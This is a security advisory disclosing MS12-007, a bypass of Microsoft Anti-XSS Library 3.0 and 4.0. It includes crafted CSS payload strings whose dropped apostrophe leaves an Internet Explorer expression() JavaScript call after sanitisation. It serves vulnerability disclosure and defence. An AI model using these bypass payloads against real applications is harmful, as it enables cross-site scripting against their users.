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Microsoft Anti-XSS Library Bypass (MS12-007)



Introduction
-------------
Microsoft Anti-XSS Library is used to protect applications from Cross-Site Scripting attacks, by providing methods for input sanitization.

Vulnerability
-------------
Microsoft Anti-XSS Library 3.0 and 4.0 are vulnerable to an attack in which an attacker is able to create a specially formed CSS, that after passing through the GetSafeHTML or GetSafeHtmlFragment methods, contains an expression that triggers a JavaScript call in Internet Explorer.

The following ASP.NET code demonstrates the vulnerability:

1.	string data = Microsoft.Security.Application.Sanitizer.GetSafeHtml("<html>a<style><!--div{font-family:Foo,Bar\\,'a\\a';font-family:';color:expression(alert(1));y'}--></style><div>b</div></html>");

2.	string data = Microsoft.Security.Application.Sanitizer.GetSafeHtmlFragment("<div style=\"font-family:Foo,Bar\\,'a\\a';font-family:';color:expression(alert(1));y'\">aaa</div>");	

Explanation
-----------
The string value can be broken down as follows:

div{
font-family:Foo,Bar\,'a\a';
font-family:';color:expression(alert(1));y'
}

A bug in the Anti-XSS library causes the closing apostrophe in the first CSS rule to be dropped. Because of the string not being properly terminated, Internet Explorer now renders this CSS in a different way, which triggers a javascript call:
 
div{
font-family:Foo,Bar\,'a\a;font-family:';
color:expression(alert(1));
y'
}

Impact
------
Every application that relies on either GetSafeHTML or GetSafeHtmlFragment to sanitize user supplied data is vulnerable to XSS.

References
----------
http://www.securityfocus.com/bid/51291
http://technet.microsoft.com/en-us/security/bulletin/ms12-007
http://blog.watchfire.com/wfblog/2012/01/microsoft-anti-xss-library-bypass.html
 

Adi Cohen <adic@xxxxxxxxxx>
IBM Security Systems - Security Research Group